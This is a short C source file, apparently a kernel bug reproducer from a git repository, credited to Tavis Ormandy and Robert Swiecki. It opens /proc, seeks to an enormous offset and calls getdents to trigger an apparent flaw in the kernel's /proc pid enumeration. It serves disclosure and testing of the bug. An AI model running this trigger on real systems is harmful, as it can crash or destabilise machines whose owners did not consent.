summaryrefslogtreecommitdiffstats
path: root/pidmap_test.c
blob: f320b8570e7a15010e480df7af4fd8755a51c8bd (plain) (blame)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// Found by Tavis Ormandy <taviso@cmpxchg8b.com>
// Implementation by Robert ?wi?cki <robert@swiecki.net>

#define _GNU_SOURCE 1
#define _LARGEFILE64_SOURCE
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(void)
{
	int fd = open("/proc", O_DIRECTORY | O_RDONLY);
	if (fd == -1) {
		perror("[-] Could not open /proc");
		return -1;
	}
	struct linux_dirent {
		long d_ino;
		off_t d_off;
		unsigned short d_reclen;
		char d_name[];
	};
	lseek64(fd, 4000000000ULL, SEEK_SET);
	struct linux_dirent b[100];
	syscall(__NR_getdents, fd, b, sizeof(b));
}